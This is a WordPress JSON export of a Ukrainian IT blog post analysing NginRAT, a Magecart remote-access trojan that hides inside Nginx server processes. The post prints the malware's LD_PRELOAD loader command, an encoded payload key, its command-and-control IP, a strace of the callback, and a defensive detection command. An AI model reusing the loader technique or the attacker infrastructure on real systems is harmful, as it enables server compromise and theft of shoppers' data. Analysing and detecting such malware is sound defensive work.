{"id":31592,"date":"2021-12-06T13:44:38","date_gmt":"2021-12-06T11:44:38","guid":{"rendered":"https:\/\/itedu.center\/ua\/blog\/?p=31592"},"modified":"2024-04-17T20:30:06","modified_gmt":"2024-04-17T17:30:06","slug":"nginx-nginrat","status":"publish","type":"post","link":"https:\/\/itedu.center\/ua\/blog\/news\/nginx-nginrat\/","title":{"rendered":"\u041d\u043e\u0432\u0430 \u0437\u0430\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f Nginx: \u0449\u043e \u0432\u0456\u0434\u043e\u043c\u043e \u043f\u0440\u043e NginRAT?"},"content":{"rendered":"\n

\u041d\u0435\u0449\u043e\u0434\u0430\u0432\u043d\u043e \u0437\u2019\u044f\u0432\u0438\u0432\u0441\u044f \u043d\u043e\u0432\u0438\u0439 \u0448\u043a\u0456\u0434\u043d\u0438\u043a Magecart, \u0446\u0456\u043b\u043b\u044e \u044f\u043a\u043e\u0433\u043e \u0454 \u0441\u0435\u0440\u0432\u0435\u0440\u0438 Nginx. \u0419\u043e\u0433\u043e \u0448\u043a\u0456\u0434\u043b\u0438\u0432\u0438\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0454 \u0432 \u0434\u043e\u0434\u0430\u0442\u043e\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u043c\u0430\u0441\u043a\u0443\u0454\u0442\u044c\u0441\u044f \u0443 \u043d\u044c\u043e\u043c\u0443 \u0442\u0430 \u043a\u0440\u0430\u0434\u0435 \u0434\u0430\u043d\u0456.<\/p>\n\n\n\n

\u0429\u0435 \u0434\u043e \u0446\u044c\u043e\u0433\u043e \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 \u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0456\u0457 Sansec \u0432\u0438\u044f\u0432\u0438\u043b\u0438 \u0448\u043a\u0456\u0434\u043d\u0438\u043a\u0430 CronRAT: \u0432\u0456\u043d \u043d\u0430\u0446\u0456\u043b\u0435\u043d\u0438\u0439 \u043d\u0430 eCommerce-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0438 \u0442\u0430 \u043a\u0435\u0440\u0443\u0454\u0442\u044c\u0441\u044f \u0437 \u041a\u0438\u0442\u0430\u044e. \u041f\u0456\u0434 \u0447\u0430\u0441 \u0435\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0443 \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u0456\u0441\u0442\u0438 \u0441\u0442\u0432\u043e\u0440\u0438\u043b\u0438 \u0441\u0432\u0456\u0439 \u043a\u043b\u0456\u0454\u043d\u0442 RAT, \u0447\u0435\u0440\u0435\u0437 \u044f\u043a\u0438\u0439 \u043e\u0442\u0440\u0438\u043c\u0430\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0438 \u0437 \u041a\u041d\u0420.<\/p>\n\n\n\n

\u041e\u0442\u0440\u0438\u043c\u0430\u043d\u0438\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0443\u0432\u0430\u0432 \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0443 \u043b\u0430\u043d\u043a\u0443 \u0437 \u0446\u044c\u043e\u0433\u043e \u043b\u0430\u043d\u0446\u044e\u0433\u0430 \u2014 NginRAT. \u0428\u043a\u0456\u0434\u043d\u0438\u043a \u0431\u0435\u0440\u0435 \u043f\u0456\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0434\u0430\u0442\u043e\u043a Nginx \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0440\u0435\u043d\u0435\u0432\u0438\u0439 \u0444\u0443\u043d\u043a\u0446\u0456\u043e\u043d\u0430\u043b \u0445\u043e\u0441\u0442\u0443 Linux (\u044f\u043a dlopen<\/code>), \u0449\u043e\u0431 \u043f\u0440\u0438\u0445\u043e\u0432\u0430\u0442\u0438 \u0441\u0432\u043e\u044e \u0434\u0456\u044f\u043b\u044c\u043d\u0456\u0441\u0442\u044c. \u041a\u043e\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0454 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0456 \u0439\u043e\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0456\u0457, NginRAT \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0454 \u0432\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0443.<\/p>\n\n\n\n

\u0423\u0441\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u2014 \u0446\u0435 \u0442\u0440\u043e\u044f\u043d \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0456 Nginx. \u041d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 eCommerce-\u043f\u0440\u043e\u0454\u043a\u0442\u0456\u0432 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0456\u0432 \u043d\u0435\u043c\u0430\u043b\u043e, \u0430\u043b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u0438\u0433\u043b\u044f\u0434\u0430\u0454 \u043d\u0435\u0443\u0448\u043a\u043e\u0434\u0436\u0435\u043d\u0438\u043c.<\/p>\n\n\n\n

\u0414\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 \u0437\u043d\u0430\u0439\u0448\u043b\u0438 NginRAT \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 eCommerce-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u0432 \u041d\u0456\u043c\u0435\u0447\u0447\u0438\u043d\u0456, \u0421\u0428\u0410 \u0442\u0430 \u0424\u0440\u0430\u043d\u0446\u0456\u0457, \u0430\u043b\u0435 \u0432\u0432\u0430\u0436\u0430\u044e\u0442\u044c, \u0449\u043e \u0432\u0440\u0430\u0436\u0435\u043d\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0456\u0432 \u0437\u043d\u0430\u0447\u043d\u043e \u0431\u0456\u043b\u044c\u0448\u0435.<\/p>\n\n\n\n

\u0410\u043d\u0430\u043b\u0456\u0437 NginRAT<\/h2>\n\n\n\n

\u0428\u043a\u0456\u0434\u043d\u0438\u043a CronRAT \u0437\u2019\u0454\u0434\u043d\u0443\u0454\u0442\u044c\u0441\u044f \u0437 \u0433\u043e\u043b\u043e\u0432\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u0430 \u0430\u0434\u0440\u0435\u0441\u043e\u044e 47.115.46.167:443<\/code> \u0447\u0435\u0440\u0435\u0437 \u0443\u043d\u0456\u043a\u0430\u043b\u044c\u043d\u0456 \u043a\u043e\u043c\u0430\u043d\u0434\u0438. \u041d\u0430\u043f\u0440\u0438\u043a\u043b\u0430\u0434, dwn<\/code> \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0443\u0454 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u043a\u0443 Linux \u0443 \/dev\/shm\/php-shared<\/code>. \u0414\u0430\u043b\u0456 CronRAT \u0432\u0438\u043a\u043e\u043d\u0430\u0454 \u0446\u0435\u0439 \u043a\u043e\u0434:<\/p>\n\n\n\n

env LD_L1BRARY_PATH=\"[580 bytes]\" \\
    LD_PRELOAD=\/dev\/shm\/php-shared \\
    \/usr\/sbin\/nginx --help --help --help --help --help --help --help --help \\
    --help --help --help --help --help --help --help --help --help --help --help \\
    --help --help --help --help --help --help --help --help --help --help --help \\
    --help --help --help --help --help --help --help --help --help --help --help \\
    --help --help --help --help --help --help --help --help --help 1>&2 &<\/code><\/p>\n\n\n\n

\u042f\u043a \u0440\u0430\u0437 \u0432\u0456\u043d \u0456 \u0432\u0431\u0443\u0434\u043e\u0432\u0443\u0454 \u0448\u043a\u0456\u0434\u043d\u0438\u043a\u0430 NginRAT \u0443 \u0434\u043e\u0434\u0430\u0442\u043e\u043a Nginx.<\/p>\n\n\n\n

\u0429\u043e \u043a\u043e\u0457\u0442\u044c\u0441\u044f \u0434\u0430\u043b\u0456?<\/h3>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n

\u0414\u043e Nginx \u043d\u0430\u0434\u0445\u043e\u0434\u044f\u0442\u044c 2 \u0437\u043c\u0456\u043d\u043d\u0456. \u0423 LD_L1BRARY_PATH<\/code> \u0454 \u043f\u043e\u043c\u0438\u043b\u043a\u0430 1<\/code>, \u0443 \u044f\u043a\u0456\u0439 \u043c\u0456\u0441\u0442\u0438\u0442\u044c\u0441\u044f \u043a\u043b\u044e\u0447 \u0432\u0456\u0434 \u0448\u0438\u0444\u0440\u0443 \u043a\u043e\u0440\u0438\u0441\u043d\u043e\u0433\u043e \u043d\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f RAT:<\/p>\n\n\n\n

LJMESRJVJJKTGSKRJAZTGRCGG5NEISKWJ4QDCMZAG5EFIV2CIY2UWT2FKFMVIT2VKIQDCMD4KZBVUNCDEAZSAVCTIQ3UKSKDGNFE4MSZJ5DTKRCNJAZVQWBXJVFECSRUGJDUKR2RIVIECTCDKNEFAS2HIFCVSIBSHB6FOT2CJJGFOTCOK5JUWSKDJI2FKM22LFHDKT2OLJEUYWC2KBCUSIBRHEQDETCYKBKFAQJWGI3TMT2RKM3VCWCNIJGFAVJWGRDFIQJXKQ3U6TKFK5HDIWKILBHFSRKRIEQDEN34GYZEWM2KJBHUWRCZLFLFQTSHJI3E6TBSG5KTMQ2LLI3UKN2QK5ETKTJAGIYSAVCELJHDGNBVKNCVCSKTLJLTKMZAGEYHYUJUEAYSAV2ZKBFTKUJVI5ETESSKINKUQRZWKM3DOQJTJFLUIMSBJRJVSQKCJU3VISSKIE2VUR2HIRDU6NCJEAZDTVXSVLQCAVEEAQ6JZNKIUQ7WXU25XTJOBP7IQ42E4LW6YLHDDXVB4FYRLYWTHAIGBU4CABJKWPVGTV5SRGXYI5Q4QPB3LTEPU42JUSCA<\/code><\/p>\n\n\n\n

\u0414\u0440\u0443\u0433\u0430 \u0437\u043c\u0456\u043d\u043d\u0430 \u2014 LD_PRELOAD<\/code>, \u0456 \u0432\u0456\u0434\u043d\u043e\u0441\u0438\u0442\u044c\u0441\u044f \u0432\u043e\u043d\u0430 \u0434\u043e \u0444\u0443\u043d\u043a\u0446\u0456\u043e\u043d\u0430\u043b\u0430 \u0432\u0456\u0434\u043b\u0430\u0434\u043a\u0438 \u0443 Linux. \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0457 \u0440\u043e\u0437\u0440\u043e\u0431\u043d\u0438\u043a\u0438 \u0442\u0435\u0441\u0442\u0443\u044e\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0456 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u043a\u0438, \u0430\u043b\u0435 \u0449\u0435 \u0432\u043e\u043d\u0430 \u043c\u043e\u0436\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u043f\u043b\u044e\u0432\u0430\u0442\u0438 \u0432\u0438\u043a\u043b\u0438\u043a\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0438\u0445 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u043a. \u0428\u043a\u0456\u0434\u043b\u0438\u0432\u0430 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u043a\u0430 php-shared<\/code> \u043f\u0435\u0440\u0435\u0445\u043e\u043f\u043b\u044e\u0454 dlopen<\/code> \u0442\u0430 dlsym<\/code>, \u0449\u043e \u0457\u0445 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0454<\/a> Nginx.<\/p>\n\n\n\n

\u041a\u043e\u043b\u0438 Nginx \u0432\u0438\u043a\u043b\u0438\u043a\u0430\u0454 dlopen<\/code>, NginRAT \u043e\u0434\u0440\u0430\u0437\u0443 \u043e\u0442\u0440\u0438\u043c\u0443\u0454 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c: \u0432\u0456\u043d \u0432\u0438\u0434\u0430\u043b\u044f\u0454 \u0444\u0430\u0439\u043b php-shared<\/code>, \u0437\u043c\u0456\u043d\u044e\u0454 \u0456\u043c\u2019\u044f \u0439\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0443 \u043d\u0430 nginx: worker process<\/code>, \u0437\u0431\u0438\u0440\u0430\u0454 \u0434\u0430\u043d\u0456 \u043f\u0440\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0442\u0430 \u0432\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u044e\u0454 \u0437\u2019\u0454\u0434\u043d\u0430\u043d\u043d\u044f \u0437 C&C-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u0430 \u0430\u0434\u0440\u0435\u0441\u043e\u044e 47.115.46.167<\/code>. \u0414\u0430\u043b\u0456 \u0448\u043a\u0456\u0434\u043d\u0438\u043a \u043e\u0447\u0456\u043a\u0443\u0454 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0438 \u0442\u0438\u0436\u043d\u044f\u043c\u0438 \u0447\u0438 \u043d\u0430\u0432\u0456\u0442\u044c \u043c\u0456\u0441\u044f\u0446\u044f\u043c\u0438.<\/p>\n\n\n\n

\/\/ \u0427\u0430\u0441\u0442\u043a\u043e\u0432\u0438\u0439 strace NginRAT
uname({sysname=\"Linux\", nodename=\"ubuntu-2gb-fsn1-1\", ...}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb008b9d210) = 8949
openat(AT_FDCWD, \"\/proc\/self\/maps\", O_RDONLY) = 3
getcwd(\"\/dev\/shm\", 4096)          = 9
readlink(\"\/proc\/self\/exe\", \"\/usr\/sbin\/nginx\", 4096) = 15
chdir(\"\/usr\/sbin\")   
openat(AT_FDCWD, \"\/proc\/self\/stat\", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, \"\/dev\/shm\/php-shared\", O_RDONLY) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr(\"47.115.46.167\")}, 16) = ? ERESTARTSYS (To be restarted if<\/strong> SA_RESTART is set)<\/code><\/p>\n\n\n\n

\u0410 \u043e\u0441\u044c \u0434\u0430\u043c\u043f \u0442\u0440\u0430\u0444\u0456\u043a\u0443 \u043f\u043e\u0447\u0430\u0442\u043a\u043e\u0432\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0441\u0442\u0438\u0441\u043a\u0430\u043d\u043d\u044f NginRAT \u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u044f\u043a\u0438\u0439 \u0457\u043c \u043a\u0435\u0440\u0443\u0454<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u042f\u043a \u0437\u043d\u0430\u0439\u0442\u0438 \u0442\u0430 \u0437\u043d\u0435\u0448\u043a\u043e\u0434\u0438\u0442\u0438 NginRAT?<\/h2>\n\n\n\n

NginRAT \u0432\u0431\u0443\u0434\u043e\u0432\u0443\u0454\u0442\u044c\u0441\u044f \u0443 \u043b\u0435\u0433\u0456\u0442\u0438\u043c\u043d\u0438\u0439 \u0445\u043e\u0441\u0442-\u043f\u0440\u043e\u0446\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0442\u043e\u043c\u0443 \u0437\u0432\u0438\u0447\u0430\u0439\u043d\u0438\u0439 \/proc\/PID\/exe<\/code> \u0432\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438\u043c\u0435 \u043d\u0430 Nginx, \u0430\u043b\u0435 \u043d\u0435 \u043d\u0430 \u0448\u043a\u0456\u0434\u043d\u0438\u043a\u0430. \u0414\u043e \u0442\u043e\u0433\u043e \u0436 \u043a\u043e\u0434 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u043a\u0438 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u0443\u0454\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u0438\u0441\u043a, \u0442\u043e\u0436 \u043f\u0456\u0441\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0443 \u0439\u043e\u0433\u043e \u043d\u0435\u043c\u043e\u0436\u043b\u0438\u0432\u043e \u0437\u043d\u0430\u0439\u0442\u0438.<\/p>\n\n\n\n

\u0410\u043b\u0435 \u044f\u043a\u0449\u043e \u043f\u0440\u0430\u0446\u044e\u0454 \u0431\u0456\u0431\u043b\u0456\u043e\u0442\u0435\u043a\u0430 LD_L1BRARY_PATH<\/code> \u0437 \u043f\u043e\u043c\u0438\u043b\u043a\u043e\u044e 1<\/code>, \u0446\u0435 \u0432\u043a\u0430\u0437\u0443\u0454 \u043d\u0430 \u0440\u043e\u0431\u043e\u0442\u0443 NginRAT. \u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u0439\u0442\u0435 \u0446\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0449\u043e\u0431 \u0437\u043d\u0430\u0439\u0442\u0438 \u0431\u0443\u0434\u044c-\u044f\u043a\u0456 \u0430\u043a\u0442\u0438\u0432\u043d\u0456 \u043f\u0440\u043e\u0446\u0435\u0441\u0438:<\/p>\n\n\n\n

$ sudo grep -al LD_L1BRARY_PATH \/proc\/*\/environ | grep -v self\/
\/proc\/17199\/environ
\/proc\/25074\/environ<\/code><\/p>\n\n\n\n

\u0422\u0430\u043a \u0432\u0438 \u0437\u043d\u0430\u0439\u0434\u0435\u0442\u0435 \u0432\u0441\u0456 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u043e\u0432\u0430\u043d\u0456 \u043f\u0440\u043e\u0446\u0435\u0441\u0438, \u0449\u043e\u0431 \u043f\u043e\u0442\u0456\u043c \u0432\u0431\u0438\u0442\u0438 \u0457\u0445 \u0447\u0435\u0440\u0435\u0437 kill -9 \u2039PID\u203a<\/code>. \u0429\u0435 \u0441\u043b\u0456\u0434 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0456\u0437\u0443\u0432\u0430\u0442\u0438 CronRAT, \u0431\u043e \u0448\u043a\u0456\u0434\u043d\u0438\u043a \u043c\u043e\u0436\u0435 \u0441\u0438\u0434\u0456\u0442\u0438 \u0443 \u0432\u0430\u0448\u0438\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 cron<\/code>.<\/p>\n\n\n\n

\u041e\u0431\u043e\u0432\u2019\u044f\u0437\u043a\u043e\u0432\u043e \u043f\u0435\u0440\u0435\u0432\u0456\u0440\u0442\u0435 \u0441\u0432\u043e\u0457 \u043c\u0430\u0448\u0438\u043d\u0438, \u0431\u043e \u0448\u043a\u0456\u0434\u043d\u0438\u043a\u0438 \u043d\u0435 \u0441\u043f\u043b\u044f\u0442\u044c. \u0417\u0434\u043e\u0440\u043e\u0432\u0438\u0445 \u0432\u0430\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0456\u0432 \u0442\u0430 \u0431\u0435\u0437\u043f\u0435\u0447\u043d\u043e\u0433\u043e \u0456\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443.<\/p>\n","protected":false},"excerpt":{"rendered":"

\u041d\u0435\u0449\u043e\u0434\u0430\u0432\u043d\u043e \u0437\u2019\u044f\u0432\u0438\u0432\u0441\u044f \u043d\u043e\u0432\u0438\u0439 \u0448\u043a\u0456\u0434\u043d\u0438\u043a Magecart, \u0446\u0456\u043b\u043b\u044e \u044f\u043a\u043e\u0433\u043e \u0454 \u0441\u0435\u0440\u0432\u0435\u0440\u0438 Nginx. \u0419\u043e\u0433\u043e \u0448\u043a\u0456\u0434\u043b\u0438\u0432\u0438\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0454 \u0432 \u0434\u043e\u0434\u0430\u0442\u043e\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u043c\u0430\u0441\u043a\u0443\u0454\u0442\u044c\u0441\u044f \u0443 \u043d\u044c\u043e\u043c\u0443 \u0442\u0430 \u043a\u0440\u0430\u0434\u0435 \u0434\u0430\u043d\u0456. \u0429\u0435 \u0434\u043e \u0446\u044c\u043e\u0433\u043e \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 \u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0456\u0457 Sansec \u0432\u0438\u044f\u0432\u0438\u043b\u0438 \u0448\u043a\u0456\u0434\u043d\u0438\u043a\u0430 CronRAT: \u0432\u0456\u043d \u043d\u0430\u0446\u0456\u043b\u0435\u043d\u0438\u0439 \u043d\u0430 eCommerce-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0438 \u0442\u0430 \u043a\u0435\u0440\u0443\u0454\u0442\u044c\u0441\u044f \u0437 \u041a\u0438\u0442\u0430\u044e. \u041f\u0456\u0434 \u0447\u0430\u0441 \u0435\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0443 \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u0456\u0441\u0442\u0438 \u0441\u0442\u0432\u043e\u0440\u0438\u043b\u0438 \u0441\u0432\u0456\u0439 \u043a\u043b\u0456\u0454\u043d\u0442 RAT, \u0447\u0435\u0440\u0435\u0437 \u044f\u043a\u0438\u0439 \u043e\u0442\u0440\u0438\u043c\u0430\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0438 \u0437 \u041a\u041d\u0420. \u041e\u0442\u0440\u0438\u043c\u0430\u043d\u0438\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0443\u0432\u0430\u0432 \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0443 \u043b\u0430\u043d\u043a\u0443…<\/p>\n","protected":false},"author":4,"featured_media":31596,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[7],"tags":[22,147],"class_list":["post-31592","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news","tag-nginx","tag-security"],"translation":{"provider":"WPGlobus","version":"3.0.2","language":"uk","enabled_languages":["uk"],"languages":{"uk":{"title":true,"content":true,"excerpt":false}}},"acf":[],"aioseo_notices":[],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/posts\/31592","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/comments?post=31592"}],"version-history":[{"count":8,"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/posts\/31592\/revisions"}],"predecessor-version":[{"id":35641,"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/posts\/31592\/revisions\/35641"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/media\/31596"}],"wp:attachment":[{"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/media?parent=31592"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/categories?post=31592"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/itedu.center\/ua\/blog\/wp-json\/wp\/v2\/tags?post=31592"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}